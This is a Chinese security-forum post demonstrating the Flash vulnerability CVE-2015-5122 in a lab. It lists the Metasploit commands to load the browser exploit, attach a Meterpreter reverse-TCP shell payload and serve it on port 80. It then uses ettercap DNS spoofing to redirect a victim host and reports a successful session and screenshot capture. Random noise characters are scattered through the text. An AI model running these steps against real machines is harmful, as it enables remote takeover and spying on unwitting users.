找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1364|回复: 0
打印 上一主题 下一主题

cve2015-5122漏洞实例演示虚拟机

[复制链接]
跳转到指定楼层
楼主
发表于 2018-10-20 20:28:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

$ o/ J, U* [' v! f* K 二、cve2015-5122漏洞实例演示虚拟机 . Y3 o- p1 F% q, m, E

. M# ?' y# O O4 X" ~, Q+ g+ w/ n0 N% K

$ D, b) G+ \7 L7 ?" P. h, M3 r   关于cve2015-5122这个漏洞,大家可以百度一下,是关于flash的漏洞,是2015flash漏洞的第二发,今天我们就用这个漏洞来演示,开启kai linux msfconsole命令启动msf如图: 9 K* k5 L4 M5 Q: s6 e! ]7 f6 {- @

+ _6 G( r0 X, m$ Y' D

?5 M# j4 z: E; ^' M) a search cve-2015-5122如图: 1 Y5 j. A" s$ R0 k9 K `. e

- l4 d7 ?2 b3 Q v' b/ P; q1 Z. z

: v% @* c( |( E I6 S7 K n ^   ; x& k7 ^0 ?6 @# h8 v j

2 M$ {. v' l9 B* k1 O2 S

1 b/ H6 G1 E. L: L5 d/ c 下面我们敲如下命令: ' m$ E" N8 m1 ]( I& \

8 ]( Y* W" l7 u3 n% f& f

+ ^, X/ j, A3 U& `& v use exploit/multi/browser/adobe_flash_opaque_background_uaf 0 j I3 U$ {8 {3 A1 l

7 v& c- c( g2 ]8 K$ S

4 x8 t5 ]1 u: J6 I; _. z set PAYLOAD windows/meterpreter/reverse_tcp ( k# L% d6 o+ v$ R u

- w# e* V% `# J: ?

1 t7 f- B3 r9 S4 K% n1 q7 j set LHOST 192.168.0.109 4 |: A0 o5 \; U2 c

7 c a- E' Y/ z, v( G

# S @- f3 W1 T; o7 k, R set URIPATH /                        /*根目录*/ * e; J3 Y: w9 f6 i7 _0 Q8 y

' x. p3 ~" }/ F; J

( j! L' i% c# U0 c6 g: k: g; {; e set SRVHOST 192.168.0.109  //192.168.0.109kaili ip地址 # k; z. c4 R* j6 q5 \

& k/ D6 U8 _3 f: G" m

7 Q' c( h/ ~- J& S set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用 0 W0 g; _* O. K' z& c+ q

% _: f2 O% C, N8 ~* f8 P

( @0 c1 O" H% i: w, U 然后show options如图: 3 F- N0 G8 L7 {& C

2 C9 A+ [, P Q6 }+ V8 y' B

* j( ^& J; x6 p8 y; q9 u   4 k! ]. N9 K+ f& t8 X T3 W

# Z0 K2 P @! d) i

6 K6 W( a R! l' Y& [7 x 一切都设置好了,执行exploit下面我们进etc/ettercap目录下设置etc.dns如图:
, I! j& M+ n% z) O2 X
. R4 {, z/ f5 o' c" S- c! J

: D9 p* O/ Y; {- D# t g. c

- ~# H1 D3 l" N' Q/ p0 B 然后ettercap -G命令打开ettercap,我们要攻击的主机ip192.168.0115 " Q; y7 {0 v/ i" V/ D

- R4 |6 a9 |. h; S0 S1 N( B

' A5 a( }# N7 `8 i' L Ettercap过程第一篇里已经演示,这里不在详细写了。。。执行完ettercap以后我们观察一下msf . g5 D) E+ z3 F* X' o' n! f

[4 M7 @8 j% d" W, I

/ ], l' I% e0 \8 j. }   / F' u7 G: A- H7 z; N

$ ]6 u$ |5 X5 l( v

& I! \8 Z( B0 q 成功了,这时候我们断开ettercap,如图: 8 @* Q3 d) d" J. ]4 `, ?. x

+ U9 ~0 K+ n1 |" y0 H

7 \; d6 }8 `6 I6 S% q   : C) ^; l5 U5 P/ c7 J7 ?

- K& ^# j1 \9 D% u2 R

% J! [8 O$ |) z( W0 [9 ~- U Screenshot如图: 0 _' R. S% c# E: B2 z

- V! U& ?; w: I5 I

; n7 H; a( F/ B( ?   # E2 C8 v0 Y- K% q1 Y4 V9 G

$ R: ?! g! v5 n& j) i

6 g# w4 _5 N; b4 Q( [0 \ N9 K2 p" W: Z 4 V% j, }/ X q/ h# A/ F" Z) I

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表